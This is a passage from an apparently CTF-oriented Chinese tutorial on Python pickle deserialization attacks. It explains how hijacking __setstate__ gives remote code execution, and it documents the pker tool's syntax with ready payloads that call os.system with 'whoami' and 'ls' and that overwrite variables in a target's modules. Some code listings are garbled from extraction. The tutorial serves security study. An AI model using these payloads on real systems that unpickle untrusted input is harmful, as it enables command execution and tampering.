交给__setstate__
方法来处理;否则的话,直接把state
这个dist
的内容,合并到inst.__dict__
里面。
它有什么安全隐患呢?我们来想想看:Student
原先是没有__setstate__
这个方法的。那么我们利用{'__setstate__': os.system}
来BUILE这个对象,那么现在对象的__setstate__
就变成了os.system
;接下来利用"ls /"
来再次BUILD这个对象,则会执行setstate("ls /")
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE.
然后这里也是可以反弹shell的
pker中的针对pickle的特殊语法需要重点掌握(后文给出示例)
此外我们需要注意一点:python中的所有类、模块、包、属性等都是对象,这样便于对各操作进行理解。
pker主要用到GLOBAL、INST、OBJ
三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
以下module都可以是包含 ` . ` 的子module
调用函数时 , 注意传入的参数类型要和示例一致
对应的opcode会被生成 , 但并不与pker代码相互等价
GLOBAL
对应opcode : b 'c'
获取module下的一个全局对象 ( 没有import的也可以 , 比如下面的os ):
GLOBAL ( 'os' , 'system' )
输入 : module , instance ( callable 、 module都是instance )
INST
对应opcode : b 'i'
建立并入栈一个对象 ( 可以执行一个函数 ):
INST ( 'os' , 'system' , 'ls' )
输入 : module , callable , para
OBJ
对应opcode : b 'o'
建立并入栈一个对象 ( 传入的第一个参数为callable , 可以执行一个函数 )):
OBJ ( GLOBAL ( 'os' , 'system' ), 'ls' )
输入 : callable , para
xxx ( xx , ... )
对应opcode : b 'R'
使用参数xx调用函数xxx ( 先将函数入栈 , 再将参数入栈并调用 )
li [ 0 ] = 321
或
globals_dic [ 'local_var' ] = 'hello'
对应opcode : b 's'
更新列表或字典的某项的值
xx . attr = 123
对应opcode : b 'b'
对xx对象进行属性设置
return
对应opcode : b '0'
出栈 ( 作为pickle . loads函数的返回值 ):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
注意:
由于opcode本身的功能问题,pker肯定也不支持列表索引、字典索引、点号取对象属性作为左值 ,需要索引时只能先获取相应的函数(如getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的 。即“查值不行,赋值可以”。
pker解析S
时,用单引号包裹字符串。所以pker代码中的双引号会被解析为单引号opcode:
1
2
test = "123"
return test
被解析为:
覆盖直接由执行文件引入的secret
模块中的name
与category
变量:
1
2
3
4
secret = GLOBAL ( '__main__' , 'secret' )
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret . name = '1'
secret . category = '2'
1
2
game = GLOBAL ( 'guess_game' , 'game' )
game . curr_ticket = '123'
接下来会给出一些具体的基本操作的实例。
1
2
3
4
s = 'whoami'
system = GLOBAL ( 'os' , 'system' )
system ( s ) # `b'R'`调用
return
1
INST ( 'os' , 'system' , 'whoami' )
1
OBJ ( GLOBAL ( 'os' , 'system' ), 'whoami' )
1
2
INST ( '[module]' , '[callable]' [, par0 , par1 ... ])
OBJ ( GLOBAL ( '[module]' , '[callable]' )[, par0 , par1 ... ])
1
2
3
4
5
animal = INST ( '__main__' , 'Animal' , '1' , '2' )
return animal
# 或者
animal = OBJ ( GLOBAL ( '__main__' , 'Animal' ), '1' , '2' )
return animal
1
2
3
4
5
class Animal :
def __init__ ( self , name , category ):
self . name = name
self . category = category
1
2
3
4
animal = INST ( '__main__' , 'Animal' )
animal . name = '1'
animal . category = '2'
return animal
拼接opcode:将第一个pickle流结尾表示结束的.
去掉,两者拼接起来即可。
建立普通的类时,可以先pickle.dumps,再拼接至payload。
参考文章:
1、 https://github.com/H3rmesk1t/Security-Learning/blob/main/PythonSec/Python%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E2%80%94Python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/Python%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E2%80%94Python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md
2、 https://forum.butian.net/share/1929
3、 https://tttang.com/archive/1782/#toc__4
4、 https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0G0%3Dit0Q6qGNnmjYDOn%3DG%3Dzez%3DKd4D#toc-8
5、 https://zhuanlan.zhihu.com/p/89132768